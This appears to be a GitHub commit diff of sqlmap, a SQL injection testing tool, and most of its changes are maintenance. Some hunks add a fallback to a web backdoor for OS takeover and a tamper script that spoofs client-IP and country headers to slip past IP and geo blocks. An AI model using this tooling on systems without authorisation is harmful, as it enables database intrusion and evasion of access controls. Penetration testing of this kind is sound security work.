colList = [_ for _ in colList if _ not in conf.exclude.split(',')] colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
if not colList: if not colList:
warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
@@ -269,7 +270,7 @@ class Entries(object):
else: else:
colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
if maxLen > kb.data.dumpedTable[column]["length"]: if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["length"] = maxLen
@@ -490,7 +491,7 @@ class Entries(object):
conf.db = db conf.db = db
for table in tables: for table in tables:
if conf.exclude and table in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, table, re.I) is not None:
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg) logger.info(infoMsg)
continue continue
@@ -506,7 +507,7 @@ class Entries(object):
logger.info(infoMsg) logger.info(infoMsg)
def dumpFoundColumn(self, dbs, foundCols, colConsider): def dumpFoundColumn(self, dbs, foundCols, colConsider):
message = "do you want to dump entries? [Y/n] " message = "do you want to dump found column(s) entries? [Y/n] "
if not readInput(message, default='Y', boolean=True): if not readInput(message, default='Y', boolean=True):
return return
@@ -561,7 +562,7 @@ class Entries(object):
colList = [_ for _ in columns if _] colList = [_ for _ in columns if _]
if conf.exclude: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')] colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
conf.col = ','.join(colList) conf.col = ','.join(colList)
kb.data.cachedColumns = {} kb.data.cachedColumns = {}
@@ -573,7 +574,7 @@ class Entries(object):
conf.dumper.dbTableValues(data) conf.dumper.dbTableValues(data)
def dumpFoundTables(self, tables): def dumpFoundTables(self, tables):
message = "do you want to dump tables' entries? [Y/n] " message = "do you want to dump found table(s) entries? [Y/n] "
if not readInput(message, default='Y', boolean=True): if not readInput(message, default='Y', boolean=True):
return return
+1 -2
View File
@@ -33,7 +33,6 @@ from lib.core.enums import DBMS
from lib.core.enums import EXPECTED from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUndefinedMethod
from lib.core.settings import TAKEOVER_TABLE_PREFIX
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.request import inject from lib.request import inject
@@ -43,7 +42,7 @@ class Filesystem(object):
""" """
def __init__(self): def __init__(self):
self.fileTblName = "%sfile" % TAKEOVER_TABLE_PREFIX self.fileTblName = "%sfile" % conf.tablePrefix
self.tblField = "data" self.tblField = "data"
def _checkFileLength(self, localFile, remoteFile, fileRead=False): def _checkFileLength(self, localFile, remoteFile, fileRead=False):
+1 -1
View File
@@ -137,7 +137,7 @@ class Miscellaneous(object):
self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webStagerFilePath)
self.delRemoteFile(self.webBackdoorFilePath) self.delRemoteFile(self.webBackdoorFilePath)
if not isStackingAvailable() and not conf.direct: if (not isStackingAvailable() or kb.udfFail) and not conf.direct:
return return
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest:
+3 -1
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import Backend from lib.core.common import Backend
@@ -376,7 +378,7 @@ class Search(object):
colList = conf.col.split(',') colList = conf.col.split(',')
if conf.exclude: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')] colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
origTbl = conf.tbl origTbl = conf.tbl
origDb = conf.db origDb = conf.db
+3 -1
View File
@@ -7,8 +7,10 @@ See the file 'LICENSE' for copying permission
import re import re
from lib.core.common import Backend
from lib.core.convert import getBytes from lib.core.convert import getBytes
from lib.core.data import conf from lib.core.data import conf
from lib.core.enums import DBMS
from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUndefinedMethod
class Syntax(object): class Syntax(object):
@@ -31,7 +33,7 @@ class Syntax(object):
if replacement != original: if replacement != original:
retVal = retVal.replace(item, replacement) retVal = retVal.replace(item, replacement)
elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal: elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL):
retVal = retVal.replace("'%s'" % original, "n'%s'" % original) retVal = retVal.replace("'%s'" % original, "n'%s'" % original)
else: else:
retVal = escaper(expression) retVal = escaper(expression)
+19 -5
View File
@@ -9,11 +9,13 @@ import os
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import isDigit
from lib.core.common import isStackingAvailable from lib.core.common import isStackingAvailable
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import runningAsAdmin from lib.core.common import runningAsAdmin
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import OS from lib.core.enums import OS
@@ -25,7 +27,6 @@ from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.settings import TAKEOVER_TABLE_PREFIX
from lib.takeover.abstraction import Abstraction from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit from lib.takeover.metasploit import Metasploit
@@ -37,7 +38,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
""" """
def __init__(self): def __init__(self):
self.cmdTblName = ("%soutput" % TAKEOVER_TABLE_PREFIX) self.cmdTblName = ("%soutput" % conf.tablePrefix)
self.tblField = "data" self.tblField = "data"
Abstraction.__init__(self) Abstraction.__init__(self)
@@ -79,7 +80,20 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
raise SqlmapNotVulnerableException(errMsg) raise SqlmapNotVulnerableException(errMsg)
self.getRemoteTempPath() self.getRemoteTempPath()
self.initEnv(web=web)
try:
self.initEnv(web=web)
except SqlmapFilePathException:
if not web and not conf.direct:
infoMsg = "falling back to web backdoor method..."
logger.info(infoMsg)
web = True
kb.udfFail = True
self.initEnv(web=web)
else:
raise
if not web or (web and self.webBackdoorUrl is not None): if not web or (web and self.webBackdoorUrl is not None):
self.shell() self.shell()
@@ -102,7 +116,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
while True: while True:
tunnel = readInput(msg, default='1') tunnel = readInput(msg, default='1')
if tunnel.isdigit() and int(tunnel) in (1, 2): if isDigit(tunnel) and int(tunnel) in (1, 2):
tunnel = int(tunnel) tunnel = int(tunnel)
break break
@@ -173,7 +187,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
while True: while True:
choice = readInput(msg, default='1') choice = readInput(msg, default='1')
if choice.isdigit() and int(choice) in (1, 2): if isDigit(choice) and int(choice) in (1, 2):
choice = int(choice) choice = int(choice)
break break
+9 -7
View File
@@ -39,6 +39,7 @@ from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import CURRENT_USER
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.request import inject from lib.request import inject
from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import attackCachedUsersPasswords
@@ -153,7 +154,7 @@ class Users(object):
rootQuery = queries[Backend.getIdentifiedDbms()].passwords rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == "CU": if conf.user == CURRENT_USER:
infoMsg += " for current user" infoMsg += " for current user"
conf.user = self.getCurrentUser() conf.user = self.getCurrentUser()
@@ -362,7 +363,7 @@ class Users(object):
rootQuery = queries[Backend.getIdentifiedDbms()].privileges rootQuery = queries[Backend.getIdentifiedDbms()].privileges
if conf.user == "CU": if conf.user == CURRENT_USER:
infoMsg += " for current user" infoMsg += " for current user"
conf.user = self.getCurrentUser() conf.user = self.getCurrentUser()
@@ -410,7 +411,7 @@ class Users(object):
values = inject.getValue(query, blind=False, time=False) values = inject.getValue(query, blind=False, time=False)
if not values and Backend.isDbms(DBMS.ORACLE) and not query2: if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS" infoMsg = "trying with table 'USER_SYS_PRIVS'"
logger.info(infoMsg) logger.info(infoMsg)
return self.getPrivileges(query2=True) return self.getPrivileges(query2=True)
@@ -446,7 +447,7 @@ class Users(object):
# In MySQL < 5.0 we get Y if the privilege is # In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise # True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
if privilege.upper() == "Y": if privilege.upper() == 'Y':
privileges.add(MYSQL_PRIVS[count]) privileges.add(MYSQL_PRIVS[count])
# In Firebird we get one letter for each privilege # In Firebird we get one letter for each privilege
@@ -465,7 +466,7 @@ class Users(object):
i = 1 i = 1
for priv in privs: for priv in privs:
if priv.upper() in ("Y", "G"): if priv.upper() in ('Y', 'G'):
for position, db2Priv in DB2_PRIVS.items(): for position, db2Priv in DB2_PRIVS.items():
if position == i: if position == i:
privilege += ", " + db2Priv privilege += ", " + db2Priv
@@ -525,7 +526,7 @@ class Users(object):
if not isNumPosStrValue(count): if not isNumPosStrValue(count):
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS" infoMsg = "trying with table 'USER_SYS_PRIVS'"
logger.info(infoMsg) logger.info(infoMsg)
return self.getPrivileges(query2=True) return self.getPrivileges(query2=True)
@@ -599,7 +600,8 @@ class Users(object):
# In Firebird we get one letter for each privilege # In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD): elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(FIREBIRD_PRIVS[privilege.strip()]) if privilege.strip() in FIREBIRD_PRIVS:
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
# In Informix we get one letter for the highest privilege # In Informix we get one letter for the highest privilege
elif Backend.isDbms(DBMS.INFORMIX): elif Backend.isDbms(DBMS.INFORMIX):
+48 -38
View File
@@ -2,16 +2,16 @@
# get target URLs from. # get target URLs from.
[Target] [Target]
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
url =
# Direct connection to the database. # Direct connection to the database.
# Examples: # Examples:
# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME # mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
direct = direct =
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
url =
# Parse targets from Burp or WebScarab logs # Parse targets from Burp or WebScarab logs
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
@@ -32,10 +32,6 @@ requestFile =
# Example: +ext:php +inurl:"&id=" +intext:"powered by " # Example: +ext:php +inurl:"&id=" +intext:"powered by "
googleDork = googleDork =
# Parse target(s) from remote sitemap(.xml) file.
# Example: http://192.168.1.121/sitemap.xml
sitemapUrl =
# These options can be used to specify how to connect to the target URL. # These options can be used to specify how to connect to the target URL.
[Request] [Request]
@@ -67,6 +63,10 @@ dropSetCookie = False
# sqlmap will also test for SQL injection on the HTTP User-Agent value. # sqlmap will also test for SQL injection on the HTTP User-Agent value.
agent = agent =
# Imitate smartphone through HTTP User-Agent header.
# Valid: True or False
mobile = False
# Use randomly selected HTTP User-Agent header value. # Use randomly selected HTTP User-Agent header value.
# Valid: True or False # Valid: True or False
randomAgent = False randomAgent = False
@@ -176,16 +176,19 @@ safeReqFile =
# Default: 0 # Default: 0
safeFreq = 0 safeFreq = 0
# Skip URL encoding of payload data # Skip URL encoding of payload data.
# Valid: True or False # Valid: True or False
skipUrlEncode = False skipUrlEncode = False
# Parameter used to hold anti-CSRF token # Parameter used to hold anti-CSRF token.
csrfToken = csrfToken =
# URL address to visit to extract anti-CSRF token # URL address to visit to extract anti-CSRF token
csrfUrl = csrfUrl =
# HTTP method to use during anti-CSRF token page visit.
csrfMethod =
# Force usage of SSL/HTTPS # Force usage of SSL/HTTPS
# Valid: True or False # Valid: True or False
forceSSL = False forceSSL = False
@@ -343,6 +346,10 @@ regexp =
# code) # code)
# code = # code =
# Conduct thorough tests only if positive heuristic(s).
# Valid: True or False
smart = False
# Compare pages based only on the textual content. # Compare pages based only on the textual content.
# Valid: True or False # Valid: True or False
textOnly = False textOnly = False
@@ -683,6 +690,9 @@ sessionFile =
# Log all HTTP traffic into a textual file. # Log all HTTP traffic into a textual file.
trafficFile = trafficFile =
# Set predefined answers (e.g. "quit=N,follow=N").
answers =
# Never ask for user input, use the default behaviour. # Never ask for user input, use the default behaviour.
# Valid: True or False # Valid: True or False
batch = False batch = False
@@ -693,6 +703,10 @@ binaryFields =
# Check Internet connection before assessing the target. # Check Internet connection before assessing the target.
checkInternet = False checkInternet = False
# Clean up the DBMS from sqlmap specific UDF and tables.
# Valid: True or False
cleanup = False
# Crawl the website starting from the target URL. # Crawl the website starting from the target URL.
# Valid: integer # Valid: integer
# Default: 0 # Default: 0
@@ -729,6 +743,11 @@ forms = False
# Valid: True or False # Valid: True or False
freshQueries = False freshQueries = False
# Use Google dork results from specified page number.
# Valid: integer
# Default: 1
googlePage = 1
# Use hex conversion during data retrieval. # Use hex conversion during data retrieval.
# Valid: True or False # Valid: True or False
hexConvert = False hexConvert = False
@@ -752,15 +771,22 @@ repair = False
# Example: (google|yahoo) # Example: (google|yahoo)
scope = scope =
# Skip heuristic detection of WAF/IPS protection.
# Valid: True or False
skipWaf = False
# Prefix used for temporary tables.
# Default: sqlmap
tablePrefix = sqlmap
# Select tests by payloads and/or titles (e.g. ROW) # Select tests by payloads and/or titles (e.g. ROW)
testFilter = testFilter =
# Skip tests by payloads and/or titles (e.g. BENCHMARK) # Skip tests by payloads and/or titles (e.g. BENCHMARK)
testSkip = testSkip =
# Update sqlmap. # Web server document root directory (e.g. "/var/www").
# Valid: True or False webRoot =
updateAll = False
[Miscellaneous] [Miscellaneous]
@@ -768,9 +794,6 @@ updateAll = False
# Run host OS command(s) when SQL injection is found. # Run host OS command(s) when SQL injection is found.
alert = alert =
# Set predefined answers (e.g. "quit=N,follow=N").
answers =
# Beep on question and/or when SQL injection is found. # Beep on question and/or when SQL injection is found.
# Valid: True or False # Valid: True or False
beep = False beep = False
@@ -779,10 +802,6 @@ beep = False
# Valid: True or False # Valid: True or False
checkPayload = False checkPayload = False
# Clean up the DBMS from sqlmap specific UDF and tables.
# Valid: True or False
cleanup = False
# Check for missing (optional) sqlmap dependencies. # Check for missing (optional) sqlmap dependencies.
# Valid: True or False # Valid: True or False
dependencies = False dependencies = False
@@ -791,36 +810,27 @@ dependencies = False
# Valid: True or False # Valid: True or False
disableColoring = False disableColoring = False
# Use Google dork results from specified page number.
# Valid: integer
# Default: 1
googlePage = 1
# Display list of available tamper scripts # Display list of available tamper scripts
# Valid: True or False # Valid: True or False
listTampers = False listTampers = False
# Imitate smartphone through HTTP User-Agent header.
# Valid: True or False
mobile = False
# Work in offline mode (only use session data) # Work in offline mode (only use session data)
# Valid: True or False # Valid: True or False
offline = False offline = False
# Skip heuristic detection of WAF/IPS protection. # Location of CSV results file in multiple targets mode.
# Valid: True or False resultsFile =
skipWaf = False
# Conduct thorough tests only if positive heuristic(s).
# Valid: True or False
smart = False
# Local directory for storing temporary files. # Local directory for storing temporary files.
tmpDir = tmpDir =
# Web server document root directory (e.g. "/var/www"). # Adjust options for unstable connections.
webRoot = # Valid: True or False
unstable = False
# Update sqlmap.
# Valid: True or False
updateAll = False
# Simple wizard interface for beginner users. # Simple wizard interface for beginner users.
# Valid: True or False # Valid: True or False
+39 -2
View File
@@ -34,7 +34,10 @@ try:
import warnings import warnings
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning)
warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning)
warnings.filterwarnings(action="ignore", category=DeprecationWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning)
warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2")
from lib.core.data import logger from lib.core.data import logger
@@ -45,6 +48,7 @@ try:
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import filterNone from lib.core.common import filterNone
from lib.core.common import getDaysFromLastUpdate from lib.core.common import getDaysFromLastUpdate
from lib.core.common import getFileItems
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import maskSensitiveData from lib.core.common import maskSensitiveData
from lib.core.common import openFile from lib.core.common import openFile
@@ -57,6 +61,7 @@ try:
from lib.core.common import MKSTEMP_PREFIX from lib.core.common import MKSTEMP_PREFIX
from lib.core.common import setColor from lib.core.common import setColor
from lib.core.common import unhandledExceptionMessage from lib.core.common import unhandledExceptionMessage
from lib.core.compat import xrange
from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapShellQuitException
from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSilentQuitException
@@ -73,6 +78,7 @@ try:
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VERSION from lib.core.settings import VERSION
from lib.parse.cmdline import cmdLineParser from lib.parse.cmdline import cmdLineParser
from lib.utils.crawler import crawl
from thirdparty import six from thirdparty import six
except KeyboardInterrupt: except KeyboardInterrupt:
errMsg = "user aborted" errMsg = "user aborted"
@@ -135,7 +141,8 @@ def main():
banner() banner()
# Store original command line options for possible later restoration # Store original command line options for possible later restoration
cmdLineOptions.update(cmdLineParser().__dict__) args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
initOptions(cmdLineOptions) initOptions(cmdLineOptions)
if checkPipedInput(): if checkPipedInput():
@@ -177,7 +184,32 @@ def main():
profile() profile()
else: else:
try: try:
start() if conf.crawlDepth and conf.bulkFile:
targets = getFileItems(conf.bulkFile)
for i in xrange(len(targets)):
try:
kb.targets.clear()
target = targets[i]
if not re.search(r"(?i)\Ahttp[s]*://", target):
target = "http://%s" % target
infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets))
logger.info(infoMsg)
crawl(target)
except Exception as ex:
if not isinstance(ex, SqlmapUserQuitException):
errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg)
else:
raise
else:
if kb.targets:
start()
else:
start()
except Exception as ex: except Exception as ex:
os._exitcode = 1 os._exitcode = 1
@@ -263,6 +295,11 @@ def main():
logger.critical(errMsg) logger.critical(errMsg)
raise SystemExit raise SystemExit
elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")):
errMsg = "permission error occurred while running Metasploit"
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("No such file", "_'")): elif all(_ in excMsg for _ in ("No such file", "_'")):
errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "You should retrieve the latest development version from official GitHub "
+1 -1
View File
@@ -51,7 +51,7 @@ def tamper(payload, **kwargs):
for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
word = match.group() word = match.group()
if (word.upper() in kb.keywords and re.search(r"(?i)[`\"\[]%s[`\"\]]" % word, retVal) is None) or ("%s(" % word) in payload: if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload:
while True: while True:
_ = "" _ = ""
+14 -5
View File
@@ -16,20 +16,29 @@ def dependencies():
pass pass
def randomIP(): def randomIP():
numbers = [] octets = []
while not numbers or numbers[0] in (10, 172, 192): while not octets or octets[0] in (10, 172, 192):
numbers = random.sample(xrange(1, 255), 4) octets = random.sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers) return '.'.join(str(_) for _ in octets)
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Append a fake HTTP header 'X-Forwarded-For' Append a fake HTTP header 'X-Forwarded-For' (and alike)
""" """
headers = kwargs.get("headers", {}) headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP() headers["X-Forwarded-For"] = randomIP()
headers["X-Client-Ip"] = randomIP() headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP() headers["X-Real-Ip"] = randomIP()
headers["CF-Connecting-IP"] = randomIP()
headers["True-Client-IP"] = randomIP()
# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
headers["Via"] = "1.1 Chrome-Compression-Proxy"
# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]
return payload return payload
+1 -1
View File
@@ -894,7 +894,7 @@ class Tag(PageElement):
def recursiveChildGenerator(self): def recursiveChildGenerator(self):
if not len(self.contents): if not len(self.contents):
raise StopIteration return # Note: https://stackoverflow.com/a/30217723 (PEP 479)
stopNode = self._lastRecursiveChild().next stopNode = self._lastRecursiveChild().next
current = self.contents[0] current = self.contents[0]
while current is not stopNode: while current is not stopNode:

Some files were not shown because too many files have changed in this diff Show More